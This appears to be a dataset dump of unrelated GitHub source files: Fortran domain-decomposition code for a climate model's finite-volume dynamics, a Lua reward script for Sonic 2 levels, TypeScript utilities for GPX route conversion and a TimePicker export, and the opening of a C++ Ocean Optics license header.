! 01.12.20 Sawyer Changed index order of Q3 decomposition
! 02.12.11 Sawyer Use parbegin/endtransfer for transposes
! 03.05.07 Sawyer Removed unneeded decompositions
! 06.03.01 Sawyer Removed tracertrans-related variables
!
!EOP
!-----------------------------------------------------------------------
contains
!----------------------------------------------------------------------
subroutine spmd_readnl(nlfilename)
! !USES:
use units, only: getunit, freeunit
use namelist_utils, only: find_group_name
use spmd_utils, only: npes, masterproc
use pmgrid, only: plat, plev, plon
use mpishorthand
implicit none
!
! !PARAMETERS:
character(len=*), intent(in) :: nlfilename
! !DESCRIPTION: Read in FV-specific namelist variables. Must be
! performed before dyn_init
!
! !REVISION HISTORY:
! 2010.05.15 Sawyer Creation
!
!EOP
!=========================================================================
!BOC
! Local variables
integer :: ierr ! error code
integer :: unitn ! namelist unit number
character(len=*), parameter :: subname = "spmd_readnl"
!----------------------------------------------------------------------
integer color, ierror, ntemp
namelist /spmd_fv_inparm/ npr_yz, geopktrans, &
geopkblocks, &
force_2d, modcomm_transpose, &
modcomm_geopk, modcomm_gatscat, &
modc_sw_dynrun, modc_hs_dynrun, &
modc_send_dynrun, modc_mxreq_dynrun, &
modc_sw_cdcore, modc_hs_cdcore, &
modc_send_cdcore, modc_mxreq_cdcore, &
modc_sw_gather, modc_hs_gather, &
modc_send_gather, modc_mxreq_gather, &
modc_sw_scatter, modc_hs_scatter, &
modc_send_scatter, modc_mxreq_scatter, &
modc_sw_tracer, modc_hs_tracer, &
modc_send_tracer, modc_mxreq_tracer, &
modc_onetwo, modc_tracers
npr_yz(1) = npes
npr_yz(2) = 1
npr_yz(3) = 1
npr_yz(4) = npes
if (masterproc) then
write(iulog,*) 'Read in spmd_fv_inparm namelist from: ', trim(nlfilename)
unitn = getunit()
open( unitn, file=trim(nlfilename), status='old' )
! Look for spmd_fv_inparm group name in the input file. If found, leave the
! file positioned at that namelist group.
call find_group_name(unitn, 'spmd_fv_inparm', status=ierr)
if (ierr == 0) then ! found spmd_fv_inparm
read(unitn, spmd_fv_inparm, iostat=ierr) ! read the spmd_fv_inparm namelist group
if (ierr /= 0) then
call endrun( subname//':: namelist read returns an'// &
' error condition for spmd_fv_inparm' )
end if
end if
close( unitn )
call freeunit( unitn )
endif
call mpibcast (npr_yz ,4,mpiint,0,mpicom)
call mpibcast (geopktrans ,1,mpiint,0,mpicom)
call mpibcast (geopkblocks ,1,mpiint,0,mpicom)
call mpibcast (force_2d ,1,mpiint,0,mpicom)
call mpibcast (modcomm_transpose ,1,mpiint,0,mpicom)
call mpibcast (modcomm_geopk ,1,mpiint,0,mpicom)
call mpibcast (modcomm_gatscat ,1,mpiint,0,mpicom)
call mpibcast (modc_sw_dynrun ,1,mpiint,0,mpicom)
call mpibcast (modc_hs_dynrun ,1,mpilog,0,mpicom)
call mpibcast (modc_send_dynrun ,1,mpilog,0,mpicom)
call mpibcast (modc_mxreq_dynrun ,1,mpiint,0,mpicom)
call mpibcast (modc_sw_cdcore ,1,mpiint,0,mpicom)
call mpibcast (modc_hs_cdcore ,1,mpilog,0,mpicom)
call mpibcast (modc_send_cdcore ,1,mpilog,0,mpicom)
call mpibcast (modc_mxreq_cdcore ,1,mpiint,0,mpicom)
call mpibcast (modc_sw_gather ,1,mpiint,0,mpicom)
call mpibcast (modc_hs_gather ,1,mpilog,0,mpicom)
call mpibcast (modc_send_gather ,1,mpilog,0,mpicom)
call mpibcast (modc_mxreq_gather ,1,mpiint,0,mpicom)
call mpibcast (modc_sw_scatter ,1,mpiint,0,mpicom)
call mpibcast (modc_hs_scatter ,1,mpilog,0,mpicom)
call mpibcast (modc_send_scatter ,1,mpilog,0,mpicom)
call mpibcast (modc_mxreq_scatter,1,mpiint,0,mpicom)
call mpibcast (modc_sw_tracer ,1,mpiint,0,mpicom)
call mpibcast (modc_hs_tracer ,1,mpilog,0,mpicom)
call mpibcast (modc_send_tracer ,1,mpilog,0,mpicom)
call mpibcast (modc_mxreq_tracer ,1,mpiint,0,mpicom)
call mpibcast (modc_onetwo ,1,mpiint,0,mpicom)
call mpibcast (modc_tracers ,1,mpiint,0,mpicom)
if (npr_yz(1) == npes .and. npr_yz(2) == 1 .and. npr_yz(3) == 1 .and. npr_yz(4) == npes) then
npr_y = npes
npr_z = 1
nprxy_x = 1
nprxy_y = npes
if (masterproc) then
write(iulog,*) 'WARNING : npr_yz not present - using 1-D domain decomposition'
endif
npes_yz = npes
npes_xy = npes
else
npr_y = npr_yz(1)
npr_z = npr_yz(2)
nprxy_x = npr_yz(3)
nprxy_y = npr_yz(4)
npes_yz = npr_y*npr_z
npes_xy = nprxy_x*nprxy_y
if (masterproc) then
write(iulog,*) 'npr_y = ', npr_y, ' npr_z = ', npr_z
write(iulog,*) 'nprxy_x = ', nprxy_x, ' nprxy_y = ', nprxy_y
write(iulog,*) 'npes = ', npes, ' npes_yz= ', npes_yz, ' npes_xy = ', npes_xy
endif
if (npes_yz > npes) then
call endrun ('SPMD_DYN_SET : incorrect yz domain decomposition - aborting')
endif
if (npes_xy > npes) then
call endrun ('SPMD_DYN_SET : incorrect xy domain decomposition - aborting')
endif
if (npes_xy < npes) then
if (masterproc) then
write(iulog,*) 'WARNING - proceeding with auxiliary dynamics processes'
endif
endif
if (npes_yz < npes_xy) then
if (masterproc) then
write(iulog,*) 'WARNING - proceeding with smaller yz decomposition'
endif
endif
endif
if (ct_overlap .ne. 0) then
if (npes .lt. 2*npes_yz) then
call endrun ('SPMD_READNL: Not enough processes to overlap cd_core and trac2d')
else
if (masterproc) then
write(iulog,*) 'Overlapping tracer and dynamics subcycles'
endif
endif
endif
if (trac_decomp .le. 0) then
call endrun ('SPMDINIT_READNL: trac_decomp improperly initialized')
endif
if (npes .lt. trac_decomp*npes_yz) then
call endrun ('SPMDINIT_READNL: Not enough processes to decompose tracers ')
else
if (masterproc) then
write(iulog,*) 'Decomposing tracers into ', trac_decomp, ' groups'
endif
endif
if (ct_overlap .gt. 0 .and. trac_decomp .gt. 1) then
call endrun ('SPMDINIT_READNL: Cannot simultaneously overlap cd_core/trac2d and decompose tracers')
endif
myid_z = iam/npr_y
myid_y = iam - myid_z*npr_y
color = iam/npes_yz
call mpi_comm_split(mpicom, color, iam, mpicom_yz, ierror)
if (ierror /= mpi_success) then
write(iulog,*) 'SPMD_DYN_READNL: ERROR: mpi_comm_split_yz failed with IER=', ierror
call endrun
endif
call mpi_comm_size(mpicom_yz, ntemp, ierror)
if (masterproc .and. ntemp .ne. npes_yz) then
write(iulog,*) 'SPMD_DYN_READNL: ERROR: mpicom_yz has incorrect size of ', ntemp
endif
if (ct_overlap .gt. 0 .or. trac_decomp .gt. 1) then
! These are mutually exclusive options
if ((ct_overlap .gt. 0 .and. iam .lt. 2*npes_yz) .or. &
(trac_decomp .gt. 1 .and. iam .lt. trac_decomp*npes_yz)) then
color = 1
else
color = 0
endif
call mpi_comm_split(mpicom, color, iam, mpicom_nyz, ierror)
if (ierror /= mpi_success) then
write (iulog,*) 'SPMD_DYN_READNL: ERROR: mpi_comm_split_nyz failed with IER=', ierror
call endrun
endif
else
mpicom_nyz = mpicom_yz
endif
myidxy_y = iam/nprxy_x
myidxy_x = iam - myidxy_y*nprxy_x
color = iam/npes_xy
call mpi_comm_split(mpicom, color, iam, mpicom_xy, ierror)
if (ierror /= mpi_success) then
write(iulog,*) 'SPMD_DYN_READNL: ERROR: mpi_comm_split_xy failed with IER=', ierror
call endrun
endif
call mpi_comm_size(mpicom_xy, ntemp, ierror)
if (ntemp .ne. npes_xy) then
write(iulog,*) 'SPMD_DYN_READNL: ERROR: mpicom_xy has incorrect size of ', ntemp
endif
geopkdist = .false.
geopk16byte = .false.
if (geopktrans .ne. 0) geopkdist = .true.
if (geopktrans .eq. 1) geopk16byte = .true.
#ifdef NO_CRAY_POINTERS
if (geopk16byte) then
call endrun ('SPMD_DYN_SET : cannot use geopk16 unless compiler supports cray pointers')
end if
#endif
if (masterproc) then
write(iulog,*) 'non-transpose geopk communication method = ', geopkdist
write(iulog,*) 'Z-parallel non-transpose geopk communication method = ', geopk16byte
endif
geopkblocks = max(1,geopkblocks)
if ((masterproc) .and. (geopkdist) .and. (.not. geopk16byte)) then
write(iulog,*) 'number of stages in Z-serial non-transpose geopk method = ', geopkblocks
endif
twod_decomp = 1
if (npr_z .eq. 1 .and. nprxy_x .eq. 1 .and. force_2d .eq. 0) then
twod_decomp = 0
if (masterproc) then
write(iulog,*) 'decomposition is effectively 1D - skipping transposes'
endif
else
if (masterproc) then
write(iulog,*) 'using multi-2d decomposition methodology'
endif
endif
if (masterproc) then
write(iulog,*) 'modcomm transpose method = ', mod_transpose
endif
if (masterproc) then
write(iulog,*) 'modcomm geopk method = ', mod_geopk
endif
if (masterproc) then
write(iulog,*) 'modcomm gatscat method = ', mod_gatscat
endif
if (masterproc) then
write(iulog,*) 'modc_sw_dynrun = ', modc_sw_dynrun
endif
if (modc_sw_dynrun .lt. 0 .or. modc_sw_dynrun .gt. 2) then
call endrun ('SPMD_DYN_SET : inadmissable value of modc_sw_dynrun')
endif
if (modc_sw_dynrun .gt. 0 .and. mod_transpose .gt. 0) then
modc_sw_dynrun = 0
if (masterproc) then
write (iulog,*) 'WARNING (SPMD_DYN_SET) - modc_sw_dynrun reset to 0 for consistency'
endif
endif
if (masterproc) then
write(iulog,*) 'modc_hs_dynrun = ', modc_hs_dynrun
endif
if (masterproc) then
write(iulog,*) 'modc_send_dynrun = ', modc_send_dynrun
endif
if (masterproc) then
write(iulog,*) 'modc_mxreq_dynrun = ', modc_mxreq_dynrun
endif
if (masterproc) then
write(iulog,*) 'modc_sw_cdcore = ', modc_sw_cdcore
endif
if (modc_sw_cdcore .lt. 0 .or. modc_sw_cdcore .gt. 2) then
call endrun ('SPMD_DYN_SET : inadmissable value of modc_sw_cdcore')
endif
if (modc_sw_cdcore .gt. 0 .and. (mod_transpose .gt. 0 .or. (mod_geopk .gt. 0 .and. geopk16byte))) then
modc_sw_cdcore = 0
if (masterproc) then
write (iulog,*) 'WARNING (SPMD_DYN_SET) - modc_sw_cdcore reset to 0 for consistency'
endif
endif
if (masterproc) then
write(iulog,*) 'modc_hs_cdcore = ', modc_hs_cdcore
endif
if (masterproc) then
write(iulog,*) 'modc_send_cdcore = ', modc_send_cdcore
endif
if (masterproc) then
write(iulog,*) 'modc_mxreq_cdcore = ', modc_mxreq_cdcore
endif
if (masterproc) then
write(iulog,*) 'modc_sw_gather = ', modc_sw_gather
endif
if (modc_sw_gather .lt. 0 .or. modc_sw_gather .gt. 2) then
call endrun ('SPMD_DYN_SET : inadmissable value of modc_sw_gather')
endif
if (modc_sw_gather .gt. 0 .and. mod_gatscat .gt. 0) then
modc_sw_gather = 0
if (masterproc) then
write (iulog,*) 'WARNING (SPMD_DYN_SET) - modc_sw_gather reset to 0 for consistency'
endif
endif
if (masterproc) then
write(iulog,*) 'modc_hs_gather = ', modc_hs_gather
endif
if (masterproc) then
write(iulog,*) 'modc_send_gather = ', modc_send_gather
endif
if (masterproc) then
write(iulog,*) 'modc_mxreq_gather = ', modc_mxreq_gather
endif
if (masterproc) then
write(iulog,*) 'modc_sw_scatter = ', modc_sw_scatter
endif
if (modc_sw_scatter .lt. 0 .or. modc_sw_scatter .gt. 2) then
call endrun ('SPMD_DYN_SET : inadmissable value of modc_sw_scatter')
endif
if (modc_sw_scatter .gt. 0 .and. mod_gatscat .gt. 0) then
modc_sw_scatter = 0
if (masterproc) then
write (iulog,*) 'WARNING (SPMD_DYN_SET) - modc_sw_scatter reset to 0 for consistency'
endif
endif
if (masterproc) then
write(iulog,*) 'modc_hs_scatter = ', modc_hs_scatter
endif
if (masterproc) then
write(iulog,*) 'modc_send_scatter = ', modc_send_scatter
endif
if (masterproc) then
write(iulog,*) 'modc_mxreq_scatter = ', modc_mxreq_scatter
endif
if (masterproc) then
write(iulog,*) 'modc_sw_tracer = ', modc_sw_tracer
endif
if (modc_sw_tracer .lt. 0 .or. modc_sw_tracer .gt. 2) then
call endrun ('SPMD_DYN_SET : inadmissable value of modc_sw_tracer')
endif
if (modc_sw_tracer .gt. 0 .and. mod_transpose .gt. 0) then
modc_sw_tracer = 0
if (masterproc) then
write (iulog,*) 'WARNING (SPMD_DYN_SET) - modc_sw_tracer reset to 0 for consistency'
endif
endif
if (masterproc) then
write(iulog,*) 'modc_hs_tracer = ', modc_hs_tracer
endif
if (masterproc) then
write(iulog,*) 'modc_send_tracer = ', modc_send_tracer
endif
if (masterproc) then
write(iulog,*) 'modc_mxreq_tracer = ', modc_mxreq_tracer
endif
if (masterproc) then
write(iulog,*) 'modc_onetwo = ', modc_onetwo
endif
if (modc_onetwo .lt. 1 .or. modc_onetwo .gt. 2) then
call endrun ('SPMD_DYN_SET : inadmissable value of modc_onetwo')
endif
if (masterproc) then
write(iulog,*) 'modc_tracers = ', modc_tracers
endif
if (modc_tracers .lt. 0) then
call endrun ('SPMD_DYN_SET : inadmissable value of modc_tracers')
endif
end subroutine spmd_readnl
!-----------------------------------------------------------------------
!BOP
! !IROUTINE: spmdinit_dyn --- SPMD initialization for dynamics
!
! !INTERFACE:
subroutine spmdinit_dyn ()
! !USES:
use parutilitiesmodule, only : parinit, parsplit
use decompmodule, only : decompcreate
! !DESCRIPTION:
!
! SPMD initialization routine: get number of cpus, processes, tids, etc
!
! !REVISION HISTORY:
! ??.??.?? CCM Core Group Creation
! 00.09.30 Sawyer Added LR-specific initialization
! 01.03.26 Sawyer Added ProTeX documentation
! 01.06.27 Mirin Secondary 2-D xy decomposition
! 01.10.16 Sawyer Added Y at each Z decompositions
! 03.07.22 Sawyer Removed decomps used by highp2
!
!EOP
!-----------------------------------------------------------------------
!BOC
! !LOCAL VARIABLES:
integer procid ! processor id
integer procids ! processor id SH
integer procidn ! processor id NH
integer lat ! latitude index
integer iend ! ending latitude band of work for a given proc
integer workleft ! amount of work still to be parcelled out
integer actual ! actual amount of work parcelled out
integer ideal ! ideal amt of work to parcel out
integer pesleft ! number of procs still to be given work
integer isum ! running total of work parcelled out
integer smostlat ! southern-most latitude index
integer nmostlat ! northern-most latitude index
integer m2,m3,m5 ! 2, 3, 5 prime factors for problem decomposition
integer xdist(1) ! number of lons per subdomain
integer, allocatable :: ydist(:) ! number of lats per subdomain
integer, allocatable :: zdist(:) ! number of levels per subdomain
integer, allocatable :: zdistq(:) ! number of levels per subdomain for Q3
integer ier ! error flag
integer rank_y, size_y ! rank and size wrt y-communicator
integer rank_z, size_z ! rank and size wrt z-communicator
integer rankxy_x, sizexy_x ! rank and size wrt xy x-communicator
integer rankxy_y, sizexy_y ! rank and size wrt xy y-communicator
integer zdist1(1) ! used for misc. decomposition definitions
integer, allocatable :: xdistxy(:) ! number of xy-longs per subdomain
integer, allocatable :: ydistxy(:) ! number of xy-lats per subdomain
integer, allocatable :: ydistqxy(:) ! number of xy tracer/lats per subdomain
integer zdistxy(1) ! number of xy-verts per subdomain
integer j, k, vert, lonn
integer ydistk(1)
integer mod_maxirr
spmd_on = 1
! Default 2D decomposition
beglev = 1
endlev = plev
endlevp1 = plev + 1
endlevp = plev + 1
mod_maxirr = max(modc_onetwo, modc_tracers)
!
! Addition for LR dynamical core to initialize PILGRIM library
!
call parinit(comm=mpicom, &
npryzxy = (/ npr_y, npr_z, nprxy_x, nprxy_y /), &
mod_method = mod_transpose, &
mod_geopk = mod_geopk, &
mod_maxirr = mod_maxirr, &
mod_gatscat = mod_gatscat )
!
! Form separate communicators
!
call parsplit(mpicom, myid_z, iam, comm_y, rank_y, size_y)
call parsplit(mpicom, myid_y, iam, comm_z, rank_z, size_z)
call parsplit(mpicom, myidxy_y, iam, commxy_x, rankxy_x, sizexy_x)
call parsplit(mpicom, myidxy_x, iam, commxy_y, rankxy_y, sizexy_y)
!
!-----------------------------------------------------------------------
!
! Compute y decomposition
!
allocate (ydist (npr_y))
allocate (nlat_p (0:npes-1))
allocate (cut (2,0:npes-1))
ydist(:) = 0
nlat_p(:) = 0
cut(1,:) = -1
cut(2,:) = -2
lat = plat / npr_y
workleft = plat - lat * npr_y
if ( lat < 3 ) then
call endrun ('SPMDINIT_DYN: less than 3 latitudes per subdomain')
endif
!
! Be careful: ydist is 1-based. NCARs arrays, e.g., cut, are 0-based
!
do procid=1,npr_y
ydist(procid) = lat
enddo
if ( workleft /= 0 ) then
procids = (npr_y+1) / 2
procidn = procids + 1
do while ( workleft /= 0 )
if ( procids == 1 ) procids = npr_y
ydist(procids) = ydist(procids) + 1
workleft = workleft - 1
if ( workleft /= 0 ) then
ydist(procidn) = ydist(procidn) + 1
workleft = workleft - 1
endif
procidn = procidn + 1
procids = procids - 1
enddo
endif
! Safety check:
if ( sum(ydist) /= plat ) then
write(iulog,*)'SPMDINIT_DYN:', ydist,' does not add up to ', plat
call endrun
endif
if (workleft/=0) then
write(iulog,*)'SPMDINIT_DYN: Workleft(y) not zero. Value is ',workleft
call endrun
end if
! Set the NCAR data structures
lat = 0
do procid=0,npr_y-1
cut(1,procid) = lat+1
lat = lat + ydist(procid+1)
cut(2,procid) = lat
nlat_p(procid) = ydist(procid+1)
if (masterproc) then
write(iulog,*) 'nlat_p(',procid,') = ', nlat_p(procid)
end if
if (myid_y == procid) then
beglat = cut(1,myid_y)
endlat = cut(2,myid_y)
numlats = ydist(procid+1)
end if
enddo
do k = 1, npr_z-1
do j = 0, npr_y-1
procid = j + k*npr_y
cut(1,procid) = cut(1,j)
cut(2,procid) = cut(2,j)
nlat_p(procid) = nlat_p(j)
enddo
enddo
!
! Compute z decomposition
!
allocate (zdist ((npes-1)/npr_y+1))
allocate (zdistq(npr_z))
zdist(:) = 0
vert = plev / npr_z
workleft = plev - vert * npr_z
if ( vert < 1 ) then
call endrun ('SPMDINIT_DYN: less than 1 verticals per subdomain')
endif
do procid=1,npr_z
zdist(procid) = vert
enddo
if ( workleft /= 0 ) then
procids = (npr_z+1) / 2
procidn = procids + 1
do while ( workleft /= 0 )
if ( procids == 1 ) procids = npr_z
zdist(procids) = zdist(procids) + 1
workleft = workleft - 1
if ( workleft /= 0 ) then
zdist(procidn) = zdist(procidn) + 1
workleft = workleft - 1
endif
procidn = procidn + 1
procids = procids - 1
enddo
endif
! Safety check:
if ( sum(zdist) /= plev ) then
write(iulog,*)'SPMDINIT_DYN:', zdist,' does not add up to ', plev
call endrun
endif
if (workleft/=0) then
write(iulog,*)'SPMDINIT_DYN: Workleft(z) not zero. Value is ',workleft
call endrun
end if
! Compute local limits
call locallimits(myid_z, zdist, beglev, endlev)
endlevp1 = endlev + 1
endlevp = endlev
if (myid_z == npr_z-1) endlevp = endlev + 1
if (iam .ge. npes_yz) then
! Auxiliary processes only
beglat = 1
endlat = 0
numlats = 0
beglev = 1
endlev = 0
endlevp = endlev + 1
endlevp1 = endlev + 1
endif
!
! Compute x secondary decomposition
!
allocate (xdistxy (nprxy_x))
xdistxy(:) = 0
lonn = plon / nprxy_x
workleft = plon - lonn * nprxy_x
if ( lonn < 3 ) then
call endrun ('SPMDINIT_DYN: less than 3 xy-longitudes per subdomain')
endif
do procid=1,nprxy_x
xdistxy(procid) = lonn
enddo
if ( workleft /= 0 ) then
procids = (nprxy_x+1) / 2
procidn = procids + 1
do while ( workleft /= 0 )
if ( procids == 1 ) procids = nprxy_x
xdistxy(procids) = xdistxy(procids) + 1
workleft = workleft - 1
if ( workleft /= 0 ) then
xdistxy(procidn) = xdistxy(procidn) + 1
workleft = workleft - 1
endif
procidn = procidn + 1
procids = procids - 1
enddo
endif
! Safety check:
if ( sum(xdistxy) /= plon ) then
write(iulog,*)'SPMDINIT_DYN:', xdistxy,' does not add up to ', plon
call endrun
endif
if (workleft/=0) then
write(iulog,*)'SPMDINIT_DYN: Workleft(xy-x) not zero. Value is ',workleft
call endrun
end if
! Compute local limits
call locallimits(myidxy_x, xdistxy,beglonxy,endlonxy)
! Compute global table
allocate (lonrangexy(2,nprxy_x))
lonrangexy(1,1) = 1
lonrangexy(2,1) = xdistxy(1)
do procid = 2, nprxy_x
lonrangexy(1,procid) = lonrangexy(2,procid-1) + 1
lonrangexy(2,procid) = lonrangexy(1,procid) + xdistxy(procid) - 1
enddo
!
! Compute y secondary decomposition
!
allocate (ydistxy ((npes-1)/nprxy_x+1))
ydistxy(:) = 0
lat = plat / nprxy_y
workleft = plat - lat * nprxy_y
if ( lat < 3 ) then
call endrun ('SPMDINIT_DYN: less than 3 xy-latitudes per subdomain')
endif
do procid=1,nprxy_y
ydistxy(procid) = lat
enddo
if ( workleft /= 0 ) then
procids = (nprxy_y+1) / 2
procidn = procids + 1
do while ( workleft /= 0 )
if ( procids == 1 ) procids = nprxy_y
ydistxy(procids) = ydistxy(procids) + 1
workleft = workleft - 1
if ( workleft /= 0 ) then
ydistxy(procidn) = ydistxy(procidn) + 1
workleft = workleft - 1
endif
procidn = procidn + 1
procids = procids - 1
enddo
endif
! Safety check:
if ( sum(ydistxy) /= plat ) then
write(iulog,*)'SPMDINIT_DYN:', ydistxy,' does not add up to ', plat
call endrun
endif
if (workleft/=0) then
write(iulog,*)'SPMDINIT_DYN: Workleft(xy-y) not zero. Value is ',workleft
call endrun
end if
! Compute local limits
call locallimits(myidxy_y, ydistxy, beglatxy,endlatxy)
if (iam .ge. npes_xy) then
! Auxiliary processes only
beglonxy = 1
endlonxy = 0
beglatxy = 1
endlatxy = 0
endif
! Compute global table
allocate (latrangexy(2,nprxy_y))
latrangexy(1,1) = 1
latrangexy(2,1) = ydistxy(1)
do procid = 2, nprxy_y
latrangexy(1,procid) = latrangexy(2,procid-1) + 1
latrangexy(2,procid) = latrangexy(1,procid) + ydistxy(procid) - 1
enddo
!
! Do generic NCAR decomposition
!
proc(:) = 0
do procid=0,npr_y*npr_z-1
if (iam == 0) then
write(iulog,*)'procid ',procid,' assigned ', &
cut(2,procid)-cut(1,procid)+1,' latitude values from', &
cut(1,procid),' through ',cut(2,procid)
endif
!
! Determine which processor is responsible for the defined latitudes
!
do lat=cut(1,procid),cut(2,procid)
proc(lat) = procid
end do
end do
nmostlat = plat
smostlat = 1
if (iam .lt. npes_yz) then
! Primary processes only
!
! Number of neighbor processors needed for boundary communication. North
! first.
!
nmostlat = 0
isum = 0
do procid=myid_y+1,npr_y-1
nmostlat = cut(2,procid)
isum = isum + cut(2,procid) - cut(1,procid) + 1
if (isum >= numbnd) goto 20
end do
20 if (myid_y /= npr_y-1 .and. isum < numbnd .and. nmostlat /= plat)then
call endrun ('SPMDINIT_DYN: Something wrong in computation of northern neighbors')
end if
smostlat = 0
isum = 0
do procid=myid_y-1,0,-1
smostlat = cut(1,procid)
isum = isum + cut(2,procid) - cut(1,procid) + 1
if (isum >= numbnd) goto 30
end do
30 if (myid_y /= 0 .and. isum < numbnd .and. smostlat /= 1) then
call endrun ('SPMDINIT_DYN: Something wrong in computation of southern neighbors')
end if
! write(iulog,*)'-----------------------------------------'
! write(iulog,*)'Number of lats passed north & south = ',numbnd
! write(iulog,*)'Node Partition'
! write(iulog,*)'-----------------------------------------'
! do procid=0,npes-1
! write(iulog,200) procid,cut(1,procid),cut(2,procid)
! end do
! write(iulog,*)'iam=',iam,'Number of south neighbors needed for bndry exchange = ',neighs
! write(iulog,*)'iam=',iam,'Number of north neighbors needed for bndry exchange = ',neighn
endif
deallocate (ydist)
deallocate (zdist)
return
!
! Formats
!
200 format(i3,4x,i3,'-',i3,7x,i3,'-',i3)
!EOC
end subroutine spmdinit_dyn
!========================================================================
subroutine decomp_wavenumbers
!-----------------------------------------------------------------------
!
! Purpose: partition the spectral work among the given number of processors
!
! Method: Make the labor division as equal as possible given loop lengths
!
! Author: CCM Core Group
!
!-----------------------------------------------------------------------
implicit none
call endrun ('decomp_wavenumbers() should never be called in LR dynamics')
end subroutine decomp_wavenumbers
subroutine spmdbuf
!-----------------------------------------------------------------------
!
! Purpose: placeholder for buffer allocation routine
!
! Method:
!
! Author: CCM Core Group
!
!-----------------------------------------------------------------------
implicit none
return
end subroutine spmdbuf
subroutine compute_gsfactors (numperlat, numtot, numperproc, displs)
!-----------------------------------------------------------------------
!
! Purpose: Compute arguments for gatherv, scatterv
!
! Author: CCM Core Group
!
!-----------------------------------------------------------------------
!
! Input arguments
!
integer, intent(in) :: numperlat ! number of elements per latitude
!
! Output arguments
!
integer, intent(out) :: numtot ! total number of elements (to send or recv)
integer, intent(out) :: numperproc(0:npes-1) ! per-PE number of items to receive
integer, intent(out) :: displs(0:npes-1) ! per-PE displacements
!
! Local variables
!
integer :: p ! index
numtot = numperlat*numlats
do p=0,npes-1
numperproc(p) = numperlat*nlat_p(p)
end do
displs(:) = 0
do p=1,npr_y-1
displs(p) = displs(p-1) + numperproc(p-1)
end do
if (npr_z > 1) then
do p=1,npr_z-1
displs(p*npr_y:(p+1)*npr_y-1) = displs(0:npr_y-1)
enddo
endif
end subroutine compute_gsfactors
subroutine locallimits(myidxy, distxy, begdimxy, enddimxy)
integer, intent(in) :: myidxy
integer, intent(in) :: distxy(:)
integer, intent(out) :: begdimxy
integer, intent(out) :: enddimxy
integer :: procid
begdimxy = 1
enddimxy = distxy(1)
do procid = 1, myidxy
begdimxy = enddimxy + 1
enddimxy = begdimxy + distxy(procid+1) - 1
enddo
end subroutine locallimits
#endif
end module spmd_dyn
|
{
"pile_set_name": "Github"
}
|
level_max_x = {
-- Emerald Hill Zone
["zone=0,act=0"] = 0x2A40,
["zone=0,act=1"] = 0x29C0,
-- Chemical Plant Zone
["zone=13,act=0"] = 0x2840,
["zone=13,act=1"] = 0x2943,
-- Aquatic Ruin Zone
["zone=15,act=0"] = 0x298C,
["zone=15,act=1"] = 0x298D,
-- Casino Night Zone
["zone=12,act=0"] = 0x2840,
["zone=12,act=1"] = 0x2740,
-- Hill Top Zone
["zone=7,act=0"] = 0x2900,
["zone=7,act=1"] = 0x2E2E,
-- Mystic Cave Zone
["zone=11,act=0"] = 0x2450,
["zone=11,act=1"] = 0x21A0,
-- Oil Ocean Zone
["zone=10,act=0"] = 0x3040,
["zone=10,act=1"] = 0x2856,
-- Metropolis Zone
["zone=4,act=0"] = 0x2300,
["zone=4,act=1"] = 0x1F40,
["zone=5,act=0"] = 0x29AF,
-- Wing Fortress Zone
["zone=6,act=0"] = 0x29D9,
}
function clip(v, min, max)
if v < min then
return min
elseif v > max then
return max
else
return v
end
end
prev_lives = 3
function contest_done()
if data.game_mode == 16 then
-- bonus level
return true
end
if data.lives < prev_lives then
return true
end
prev_lives = data.lives
if calc_progress(data) >= 1 then
return true
end
return false
end
offset_x = nil
end_x = nil
function calc_progress(data)
if offset_x == nil then
offset_x = -data.x
local key = string.format("zone=%d,act=%d", data.zone, data.act)
end_x = level_max_x[key] - data.x
end
local cur_x = clip(data.x + offset_x, 0, end_x)
return cur_x / end_x
end
prev_progress = 0
frame_count = 0
frame_limit = 18000
function contest_reward()
frame_count = frame_count + 1
local progress = calc_progress(data)
local reward = (progress - prev_progress) * 9000
prev_progress = progress
-- bonus for beating level
if progress >= 1 then
reward = reward + (1 - clip(frame_count/frame_limit, 0, 1)) * 1000
end
return reward
end
|
{
"pile_set_name": "Github"
}
|
import { Coordinates } from '../interfaces/non_modals/coordinates';
import * as fs from 'fs';
const gpx = require('parse-gpx');
var baseUrl = './app/data/routes/';
var files = [`${baseUrl}25_mile.gpx`, `${baseUrl}50_mile.gpx`, `${baseUrl}100_km.gpx`, `${baseUrl}100_mile.gpx`];
var names = ['TwentyFiveMileRoute', 'FiftyMileRoute', 'OneHundredKMRoute', 'OneHundredMileRoute'];
// create a ts file with the coordinates for each GPX file
files.forEach(async (file, index) => {
let coordinates = await getCoordinatesFromGPX(file);
let contents = createFileContents(names[index], coordinates);
createFile(file, contents);
});
/**
*
* Parses a GPX file and retrieves a `Coordinates[]` to be used for the events
* @param {string} file
* @returns {Promise<Coordinates[]>}
*/
async function getCoordinatesFromGPX(file: string): Promise<Coordinates[]> {
let tracks: any[] = await gpx(file);
return <Coordinates[]>tracks.map((track) => <Coordinates>{ lat: track.latitude, lon: track.longitude });
}
/**
*
* Creates a file and dumps contents into it
* @param {string} file
* @param {string} contents
*/
function createFile(file: string, contents: string) {
fs.writeFile(`${file}Coordinates.ts`, contents, function (err) {
if (err) {
return console.error(err);
}
console.log("File created!");
});
}
/**
*
* Creates a string that can be written to a `ts` file with correct syntax
* The string returned should declare a {Coodinates[]} with the routes to be used
* in other parts of the code to populate the database
* @param {string} name
* @param {Coordinates[]} coordinates
* @returns {string}
*/
function createFileContents(name: string, coordinates: Coordinates[]) {
return `
import { Coordinates } from '../../interfaces/non_modals/coordinates';
export const ${name}Coordinates: Coordinates[] =
${JSON.stringify(coordinates)};
`
}
|
{
"pile_set_name": "Github"
}
|
import { TimePicker } from './TimePicker';
export { TimePickerProps, TimePickerTheme } from './TimePicker';
export { TimePicker }
export default TimePicker;
|
{
"pile_set_name": "Github"
}
|
/***************************************************//**
* @file VentanaUSB.cpp
* @date January 2013
* @author Ocean Optics, Inc.
*
* LICENSE:
*
* SeaBreeze Copyright (C) 2014, Ocean Optics Inc
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject
* to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
